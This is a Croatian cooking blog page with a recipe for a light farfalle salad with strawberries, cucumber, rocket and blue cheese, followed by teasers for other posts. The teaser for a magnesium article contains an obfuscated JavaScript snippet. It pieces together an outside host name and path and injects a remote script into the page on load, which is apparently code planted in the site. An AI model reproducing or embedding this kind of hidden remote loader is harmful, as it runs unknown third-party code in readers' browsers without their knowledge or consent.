LAGANA SALATA S JAGODAMA I SVJEŽIM KRASTAVCIMA 🍓 🥗




Lagana salata s jagodama i svježim krastavcima 



S dolaskom vrućih dana, mnogima se mijenjaju prehrambene navike, umjesto teških i masnih jela, odabir pada na lagane i brze obroke koji se mogu pripremiti za dvadesetak minuta, a istodobno vas drže sitima duže vrijeme.





Lagana salata s jagodama i svježim krastavcima 


Sastojci:

  • 250 grama farfalle tjestenine (leptirići)
  • 3/4 kg jagoda, očišćene i prepolovljene
  • 1 veliki svježi krastavac, narezan
  • 1 šalica rikole
  • 2 mlada luka, tanko narezana
  • 1/4 šalice nasjeckanih badema
  • 1/4 šalice izmrvljenog plavog sira (može i feta sir)
  • 1 žlica nasjeckanog peršina
  • 1 češanj češnjaka, protisnuti
  • 1 žličica gorušice od cjelovitog zrna
  • Sok od 1 limuna
  • 2 žlice balzamičnog octa
  • 3 žlice maslinovog ulja
  • 1 žličica soli
  • 1 žličica crnog papra



Priprema:

1. Skuhajte farfalle u slanoj kipućoj vodi dok ne postane al dente prema uputama na pakiranju. Ocijedite i isperite hladnom vodom u cjedilu. Prebacite u veliku posudu.

2. Jagode, krastavce, rikolu, mladi luk, bademe i plavi sir pomiješajte u posebnoj zdjeli i dodajte u tjesteninu.

Za dresing:

U maloj zdjeli umutite češnjak, senf, limunov sok, balzamični ocat, maslinovo ulje, sol i papar. Umiješajte u salatu od tjestenine i ostavite par minuta da se okusi prožmu.

Dobar tek!



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više